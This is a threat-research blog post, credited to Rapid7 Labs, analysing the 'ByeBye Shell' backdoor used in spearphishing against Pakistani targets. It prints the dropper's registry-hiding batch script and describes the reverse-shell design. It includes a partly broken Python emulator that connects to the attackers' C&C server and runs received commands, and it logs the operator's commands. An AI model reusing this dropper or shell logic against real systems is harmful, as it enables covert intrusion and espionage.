Asia and South Asia are a theater for daily attacks and numerous ongoing espionage campaigns between neighboring countries, so many campaigns that it's hard to keep count. Recently I stumbled on yet another one, which appears to have been active since at least the beginning of the year, and seems mostly directed at Pakistani targets.

In this article we're going to analyze the nature of the attacks, the functionality of the backdoor - here labelled as ByeBye Shell - and the quick interaction I had with the operators behind this campaign.


No exploit was used in any of the attacks we attribute to this campaign - the attackers probably just relied on social engineering the victim through well-crafted spearphishing emails.

The malware first appears to the victim as a .scr file. In some cases the attackers make use of the Left-to-Right Override Unicode character in order to twist the .exe file extension into something more credible.

Once executed it drops and launches a batch script in a %Temp% subfolder with the following content:

@ echo off
@ start "IEXPLORE.EXE" "<backdoor>"
@ reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v Hidden /t REG_DWORD /d 0x00000000 /f
@ reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v HideFileExt /t REG_DWORD /d 0x00000001 /f
@ reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v ShowSuperHidden /t REG_DWORD /d 0x00000000 /f
@ reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Folder\Hidden\SHOWALL /v CheckedValue /t REG_DWORD /d 0x00000000 /f
@ exit

As you can see, it enforces some configuration in the registry in order to hide file extensions and not show hidden folders.

Subsequently the malware creates and launches a Cabinet Self-Extractor, which drops two additional executable files: one embedding either a PDF or a Microsoft Office Word document, the other being the actual backdoor.

These are the hashes of the original droppers I inspected during this analysis:





The embedded documents all show content revolving around internal or foreign Pakistan politics - following are some examples of such documents:

This document appears to report an article that appeared on Hilal, the magazine of the Pakistan Armed Forces. You can find a copy of the original article on this Pakistan institutional website.

Also in this case the attacker seems to have just reused an existing article. Searching online for the content, it appears to have been originally published on a website called SATribune, which is no longer online.

You can find a copy of the full article here.

Again, the original article is available on

This last one coming instead from Reuters.


Let's face it: at the point where the attackers obtain control over the target computer, not much sophistication is left in day-to-day targeted attacks. PoisonIvy, Gh0st and custom backdoors are daily business for threat analysts and malware researchers, in most cases being tedious work with little technical challenge.

This campaign is no exception. The main backdoor installed and executed on the victims' systems appears to be a custom reverse shell with just a handful of features. Due to a lack of public literature about this case, I decided to dub this family as ByeByeShell.

When disassembling the binary you can quickly understand the mechanics of the backdoor. After some quick initialization, the backdoor XORs an embedded string with 0x9D to extract the IP address of the C&C server. Subsequently it establishes a connection to it (generally on port 80) and checks in with some basic information about the system.

LAB-OF-Me: User



Address 0:


As you can see, it reports the computer name, the user name, the IP address and MAC address of the network adapter. The [P130813] line appears to be a constant value, possibly a target identifier.

Interestingly, in a specific malware sample belonging to this campaign, the backdoor also appends the string "INS and AfPak" at the end of the message - note that, as defined by Wikipedia, "_AfPak (or Af-Pak) is a neologism used within US foreign policy circles to designate Afghanistan and Pakistan as a single theater of operation_s".

After the check-in message is sent, the malware enters a continuous loop in which it will keep silently waiting for commands from the open socket connection. From now on, it expects some manual interaction from the attacker.

The supported commands are:

  • shell
  • comd
  • sleep
  • quit
  • kill

You can see the switch block in the following screenshots.

When a message is received from the socket connection, it checks if the message is "shell" then spawn a reverse shell, otherwise continues by checking for "comd" which will simply execute a command and returns.

If neither "shell" or "comd" is specified by the operator, it checks if it has been instructed to sleep or terminate, otherwise it just continues to the next iteration.

In the following screenshot you can see how the reverse shell is implemented: it just launches a cmd.exe and pipes stdin, stdout and stderr to the opened socket so that the operator can directly interact with the Windows prompt.

As you can see, this is an extremely basic backdoor, even poorly written if you ask me. Antivirus detection rate is also reasonably good, despite consisting mostly of generic signatures.

The samples are also signed with an invalid Microsoft Windows certificate, which can be used for further fingerprinting:

        Version: 3 (0x2)
        Serial Number:
    Signature Algorithm: md5WithRSAEncryption
        Issuer: CN=Microsoft Windows
            Not Before: Dec 31 18:30:00 2011 GMT
            Not After : Dec 31 18:30:00 2014 GMT
        Subject: CN=Microsoft Windows
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (1024 bit)
Exponent: 65537 (0x10001)
X509v3 extensions:
                 0D..g.yY,.^.Oxz..../..0.1.0...U....Microsoft Windows..[.9.I...C..:g$.x     Signature Algorithm: md5WithRSAEncryption

Playing with the Attacker

In all the cases presented in this blog post, the backdoors tried to connect to the C&C located at, which appears to be a dedicated server hosted by Leaseweb:

inetnum: -

netname:        NETDIRECT-NET

descr:          Leaseweb Germany GmbH (previously netdirekt e. K.)

remarks:        INFRA-AW

country:        DE

admin-c:        LSWG-RIPE

tech-c:         LSWG-RIPE

status:         ASSIGNED PA

mnt-by:         NETDIRECT-MNT

mnt-lower:      NETDIRECT-MNT

mnt-routes:     NETDIRECT-MNT

source:         RIPE # Filtered

At the time of writing, the server appears to still be online. However port 80, which the backdoors try to contact, appears to be available only sporadically. In order to get some fun out of an overall straightforward analysis, I quickly hacked together a Python script that emulates a ByeBye backdoor - following is the code:

import os
import sys
import socket
import subprocess

def main(host=''):
    # This is the check-in message.
    buf = "HOMEPC-OF-User: User\n"
    buf = "HostName:HOMEPC\n"
    buf = "MAC: <MAC ADDRESS>\n"
    buf = "Address 0:\n"
    buf = "[P100713]\n"
    buf = "$"
    # Emulating cmd.exe, hacky but works.
    cmd = "Microsoft Windows XP [Version 5.1.2600]\n"
    cmd = "(C) Copyright 1985-2001 Microsoft Corp.\n"
    prompt = "C:\Documents and Settings\User> "
    print("[*] Trying to connect to C&C...")
    # Try to establish connection with the C&C.
    while True:
            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            sock.connect((host, 80))
        except Exception as e:
        print("[!] ERROR: Unable to connect: {0}".format(e))
        subprocess.Popen('start alarm.mp3', shell=True)
    print("[*] Connected to C&C!")
    # Send check-in message.
    print("[*] Authenticated to C&C!")
    # This flag represents whether we should currently emulate a cmd.exe prompt
    # or emulate the backdoor shell.
    shell_mode = False
    # Main loop.
    while True:
        # Wait for incoming command.
            bufin = sock.recv(1024)
        except KeyboardInterrupt:
        except Exception as e:
            print("[!] ERROR: Connection lost: {0}".format(e))
        data = bufin.strip()
        if len(data) == 0:
        print("[ ] Received: {0}".format(data))
        # If we are in cmd.exe mode...
        if shell_mode:
            # If he tries to exit the cmd, we emulate that.             if data in ('quit', 'exit'):
                shell_mode = False
            # If he tries to shutdown the system, I'm gonna interrupt.
            elif 'shutdown' in data:
            # I don't want him to kill processes.
            elif 'taskkill' in data:
            # Otherwise just execute the command.
                proc = subprocess.Popen(data, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True)
                (out, err) = proc.communicate()
                if out:
                    lines = out.split('\n')
                    out_lines = []
                    for line in lines:
                        # Can filter output here, for instance remove process
                        # names or VirtualBox indicators and such.
                    # Send the findal cmd output.
                if err:
                if data == 'kill':
                    # Should do this:
                    # But I'm disappointed:
                    sock.send('NOOooOOooOOooOOoo :-( I thought we were friends!')
                elif data == 'shell':
                    shell_mode = True 
                elif data == 'sleep':
                    sock.send('BYE BYE\n')
if __name__ == '__main__':
    if len(sys.argv) == 2:

As you can see, this script simply tries to emulate the basic functionality of ByeBye: it performs the initial check-in and waits for incoming messages from the operator.

Yes - since, as previously said, the C&C comes online only at times - I instructed the script to play an extremely loud alarm. Props to my flatmate for waking me up whenever the alarm went off.

Surprisingly the operator responded few moments later my first attempt, although he quickly tried to terminate me probably noticing an unexpected origin:

[ ] Received: kill

[ ] Received: kill

[ ] Received: shell

[ ] Received: shutdown /r /t 0

Unfortunately at that time I didn't have the script completed, therefore he noticed something odd and closed my connection.

I let a few days pass, completed the script and prepared a more credible scenario: a legitimate looking system connecting out of South Asia. This time it took a bit longer to get some response from the operator, who simply tried to search for documents on the system:

[ ] Received: shell

[ ] Received: systeminfo

[ ] Received: dir /s *.pdf

[ ] Received: dir /s *.doc

[ ] Received: exit

[ ] Received: sleep

Sadly no further activity was observed.


This is yet another case of poorly skilled attackers managing to run successful espionage campaigns for extended periods of time. This is probably one of the most basic incidents I encountered so far, but we can safely assume that the operators behind this campaign are successful enough to maintain the operations running for at least the last 6 months, possibly even more.

No clear indicator is available to make an informed estimate on what could be the origin of the attacks.

This work was brought to you by Claudio "nex" Guarnieri, Rapid7 Labs.